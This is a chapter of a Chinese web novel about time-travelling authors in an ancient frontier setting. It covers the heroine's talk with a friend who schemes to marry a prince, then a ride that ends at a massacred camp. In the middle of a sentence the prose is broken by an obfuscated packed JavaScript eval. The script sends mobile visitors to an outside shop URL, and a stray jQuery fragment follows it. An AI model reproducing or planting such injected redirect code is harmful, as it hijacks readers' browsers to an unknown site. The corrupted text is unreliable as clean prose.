“三皇子好。”沈栖梧拽着不情愿的陆焰,一起跟萧英哲打了声招呼。
“栖梧来了,路上顺利吗?”萧英哲隔空虚扶了一下,笑容温文尔雅,和陆焰对视了一眼。
陆焰半侧着身子挡住沈栖梧,深深地看了萧英哲一眼,抢先说:“栖梧是我的未婚妻,专门来边城看我,路上一切顺利,就不劳殿下费心了。”
沈栖梧心里哼笑一声,这小子在宣示主权呢!
她倒也没在外人面前下他的面子,透过陆焰的肩膀,对上吃惊的萧英哲,微笑着点了点头,算是打完了招呼。
眼看气氛僵住,杨雪儿软糯的声音响起,“殿下,我和栖梧姐一起来的,我叫杨雪儿,也是作者,还是服装设计师,您的身材太好了,我觉得有一套骑行服会非常适合您,穿上骑马行军都会非常帅气威武的!”
“您有空跟我单独聊聊吗?”
杨雪儿自顾自地推销自己,笑容灿烂,语气温婉。
沈栖梧挑眉,这妹妹是在勾人么?为毛线这么主动?
陆焰从鼻子里哼出一口气,不再看这一男一女。
他长大的圈子里,见过太多比杨雪儿还上赶着的“名媛”。欲望男女,看对眼儿了就各取所需,你给我色,我给你名利,都是交易。
萧英哲不知心里作何想,但面儿上笑得得体清贵,“好啊,雪儿姑娘,我们书房一叙。”
待这两位离开后,沈栖梧说:“这妹子想干啥?她是不是忘了,我们总有一天会离开这里的?”
陆焰轻抚她蹙起的眉心,“一个想攀附权贵,另一个嘛……既能通过她探探咱们的底细,又有送上门儿的美色,他一男的怎么着都不会吃亏,别操心他们了,多看看我!”
“小朋友,”沈栖梧点点他的胸口,“咱们一起来的,就得整整齐齐,谁都不能落下。一会儿等她回来,我跟她聊聊。”
陆焰没说话,就看着她笑,眼神里都是爱恋。
这就是他爱的人,总是无声地扛起本可以不理会的责任。
“你该干嘛就干嘛去,别管我了,我赶路有点儿累,进屋躺着等她回來。”沈栖梧挥手赶人。
陆焰确实是请假出来接人,虽然他想留下和她腻在一起,哪怕不说话也好,但是,他的爱人责任心极强,他也不能拖后腿了。
战事在即,准备工作需要他。
“等傍晚我们训练结束,我带你出边城,去草原骑马怎么样?”
“行,你去吧。”沈栖梧推着他的背,送他出门。
陆焰一步三回头地往营地操场跑,沈栖梧就倚着门,笑着抱臂目送着他。
沈栖梧躺在散发着阳光气味的床铺上快睡着时,杨雪儿才哼着歌儿回来。
“聊得挺美?”沈栖梧枕着胳膊,单腿架在膝盖上,朝她吹了声口哨,问。
杨雪儿笑着扑到她身边,蹬了鞋子,小腿翘着,“嗯呐!”
她掰着指头开始细数搜集到的信息:“他三年前娶了正妻,但,去年那位女子不幸去世,也没留下一儿半女。”
“有一房小妾,是他原来的侍女,在他大婚前教他学那什么的……”
“至今未再婚,也没有孩子。”
沈栖梧一边的眉梢高高挑起,“所以?”
“所以,”杨雪儿一副志在必得的表情说,“我觉得,我有机会上位,成为他下一任正妻,未来的皇后。”
沈栖梧悬着的一颗心终于掉了。
“你不想回现代了?”她坐起身问,“还是说,你就想过过当皇后的瘾,好亲身体验回去写出一部纪实小说?”
“栖梧姐,我不想回去了。”杨雪儿垂下眼,笑容敛起,轻声说。
沈栖梧沉默了好一会儿,才又问:“为什么?你在现代的家人朋友呢?也不管了?”
杨雪儿在炕上滚了滚,把头枕在沈栖梧的腿上,抬眼看她没有拒绝,便笑了笑,笑容里少了些平日里的刻意。
“说出来也不怕你笑话,”杨雪儿胳膊放在额头上,遮住眼,嘴角勾着,“我是从西南山区脱贫攻坚的试点农村走出来的,我是家里的老大,还有一个弟弟,小我三岁。”
“从小我妈就给我洗脑:要一直让着弟弟、要赶紧学会给家里人做饭、挣钱了要先紧着给弟弟买房买车BLABLABLA……这些每个伏弟魔姐姐都耳熟能详的恶魔之语。”
“但是我偏不!”
“我以我们县城高考文科状元的身份考出去了,考到京城,不顾他们的反对,报了设计专业,还瞒着他们写小说赚学费,工作后一年就在西湖附近买了房。”
“很励志,”沈栖梧感受着腿上传来的颤抖,轻揉她的发心,“然后呢?”
“然后被他们发现了,就跑来我单位闹,闹得我被辞退,四处躲,流浪旅居写小说,直到参加作者大会,跟你们一起穿越了……”
“我知道她们大多数人都在背后笑话我拼命搂钱,精致利己,”杨雪儿自嘲地笑笑,“我还是个葛朗台,从不花自己的钱。”
沈栖梧笑了一声,“爱钱有什么错?你又没偷没抢的,人的劣根性是普适性的,红眼病、嫉妒这些人人都有,你不要放在心上。”
杨雪儿放下遮掩的胳膊,笑得特骄傲:“哼,我才不管她们呢,缺什么就补什么,我就是要把自己重新养一遍,我就想要有万人之上的身份地位,我想要锦衣玉食,然后欣赏着嫉妒我却不能耐我何的人脸上扭曲的疯狂。”
沈栖梧从炕桌上拿过陆焰准备的大蒲扇,不急不慢地扇着,给越说越激动的杨雪儿手动降温,“你已经有了养活自己的能力了,本可以就此轻松自在地享受生活,一定要和萧英哲这般人合作吗?他可没有看上去的那般清风霁月。”
“你在与虎谋皮。”
“而且,他现在还是不受宠的皇子。”
沈栖梧把萧英哲走|私罂|粟到北蛮,试图用上瘾致幻从内而外瓦解善骑好战的草原人的计谋告诉了她。
杨雪儿坐起身,漂亮的杏眼看着沈栖梧:“栖梧姐,在现代,我或许还会顾忌脸面、血缘亲情,怕这怕那不敢放手一搏。”
“但是在这里,一个平行的古代时空,我什么都不怕。”
“大不了就是一死嘛,我管他是虎还是鼠,我有信心掌控他,助他坐上那皇位。”
沈栖梧的凤眸眯起,“你也升级了脑域,把共感镜像用在了他身上?”
虽是问话,但语气笃定。
杨雪儿点点头,“我刚才遇见了一些战戈堂的男作者,他们全员都升级脑域了。”
沈栖梧眼睛睁大了:“陆焰没跟我说。”
“他怕你担心呗,”杨雪儿撇撇嘴。
“你就是太爱操心,明明大家都是穿越者,还是成年人,怎么你就非得让大家都过得好?”
“我要是你,也是头部作者第一人,一开始我就不会让大家聚在一起。就应该散开,各凭本事,能活就活,不能活下去拉倒。”
“好狠的心,”沈栖梧说,“你是精神犹太人么。”
“生活以痛吻我,”杨雪儿歪头笑着,“我就回之最大的恶意。反正没人在乎我,我又凭什么在意他人。”
沈栖梧正准备回嘴,杨雪儿就乖笑着靠过来,“当然啦,我还是在意栖梧姐姐的~”
“我初中读到你的小说,惊为天人,可以这么说:你就
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17873786|209189||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是我精神世界的领路人。”
“你文中塑造的草根,向上挣扎的人设,陪我走出了西南的大山。”
“你接地气满是烟火的文风,让我觉得,我也可以写小说,于是我写了,挣出了学费和生活费。”
“十年后我还能和你一起穿越,你还没有让我对你祛魅幻灭,你竟然在三次元也像个滥好人似的爱照顾人。”
“越说越找打呢。”沈栖梧弹她了个脑瓜崩儿,来掩饰被当面夸赞的窘迫。
杨雪儿笑嘻嘻地抱着她的手,“我刚在三皇子的书房里,感受了一下他的所思所想,他想跟着陆焰他们一起上战场呢。”
“你没把你的底牌直接露了吧?”沈栖梧正好也不是个爱煽情的人,顺势跟着她转移话题问道。
“我哪有那么傻,”杨雪儿噘着嘴,“我就是给他描绘了一下现代的高楼大厦、电脑手机什么的,已经让他惊呆了。”
“你既然有自己的主意,”沈栖梧重新躺下,“就好好规划一下,想成为皇后,也得先让他把你明媒正娶喽。”
杨雪儿穿鞋下炕,“放心吧,我今晚就会把他拿下。”
沈栖梧愣了愣,行动力这么强么。
不愧是个强人。
她有那么多读者,能像她一样,从看书受感动到受启发写书赚到钱的,能有多少?
她虽然没做过统计,但想来也不会太多吧。
她翻身看过去,杨雪儿从她的包袱里取出一套男装,已经站在桌前开始量尺划线,准备改进了。
想来,这就是她今晚的敲门砖了。
唉,卷人走哪儿卷到哪儿。
她叹着气,翻身起来,拿出平板和键盘,开始了今日的加更。
……
“栖梧!”临近傍晚,陆焰有力的声音在院子里响起,“走啊,去草原骑马遛弯儿啊!”
杨雪儿正在画眉毛,被惊得把眉尾直接画进鬓角,气得翻了个白眼儿。
沈栖梧笑着拍了拍她,“我们走了,你……注意安全。”
杨雪儿回身抱住她的腰,把脸贴在她温热的腹部,轻声说:“放心,我会照顾好自己的。”
然后她松开手,拍拍沈栖梧的屁股,“姐姐快去浪吧!外面那位快等不及了!”
沈栖梧又看了她一眼,想再说些什么,终日和文字打交道的人,最终也没想出还有什么好说又不伤人的蜜语良言。
只好快步离开。
杨雪儿的人生选择像一根软刺,戳在了沈栖梧的心口。
为什么原生家庭创伤,一定要用一生来治愈?
她有时真的很痛恨自己的高敏感人格,太容易跟别人感同身受。
受伤的是别人,痛苦的却是自己。
身侧同行的陆焰看出了她的低落,问清楚后,便使出毕生积累的笑话逗她开心。
耳边听着乐呵,二人飞驰在绿莹莹的草原上,她也逐渐放松下来。
出关向北骑了大概十公里后,一片散落狼藉的毡房远远地撞进沈栖梧的眼中。
男子身首分离、女子皆敞胸露怀、衣不蔽体,连不足马高的孩童,头颅都以诡异的角度歪斜在肩膀上……
暗黑色的血,蜿蜿蜒蜒坠在绿草上,压着她的心情瞬间坠落谷底。
“这应该是个小部落,”陆焰皱眉,骑马绕了一圈,总结道。
“离这里最近的军队就是我们,我们没有出兵,他们整个部落却惨死,只能是来自更深处草原的北蛮人,被大鱼吃小鱼了……”
“谁?!”沈栖梧打断他,朝身旁一块断树根喝道。
陆焰同时拉起□□,指向那处,“举起手来,出来!”